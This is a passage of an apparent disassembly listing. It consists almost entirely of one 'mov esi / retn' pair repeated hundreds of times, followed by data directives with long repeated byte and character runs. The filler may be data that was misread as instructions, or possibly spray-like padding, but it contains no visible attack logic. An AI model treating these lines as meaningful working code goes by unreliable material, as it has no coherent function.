		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		mov	esi, 0BE0EA1C2h
		retn	0EA1h
; ---------------------------------------------------------------------------
		db 0BEh, 0C2h, 0A1h
		dd 788FBE0Eh, 85h dup(788FD3D7h), 235h dup(53D0786Dh)
aMxSmxSmxSmxSmx	db 'mxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSm'
					; DATA XREF: ___:off_431634o
		db 'xΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmx'
		db 'ΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠ'
		db 'SmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠS'
		db 'mxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSm'
		db 'xΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmx'
		db 'ΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠSmxΠ'
		db 'SmxΠSmxΠSmxΠSmxΠSmxΠSmxΠΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
